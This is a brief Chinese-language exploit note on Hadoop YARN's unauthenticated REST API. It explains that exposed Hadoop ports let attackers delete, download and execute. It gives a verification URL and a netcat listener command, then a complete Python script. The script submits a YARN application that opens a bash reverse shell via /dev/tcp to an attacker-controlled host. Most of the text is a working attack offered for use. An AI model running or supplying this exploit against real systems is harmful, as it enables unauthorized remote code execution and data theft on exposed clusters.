Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览、命令执行等操作,危害极大
1、验证
访问 http://192.168.18.129:8088/cluster
2、通过REST API命令执行
在本地监听端口 >> 创建Application >> 调用Submit Application API提交 #本地监听9999端口 nc -lvp 9999
3、EXP
#!/usr/bin/env python import requests target = 'http://192.168.18.129:8088/' lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)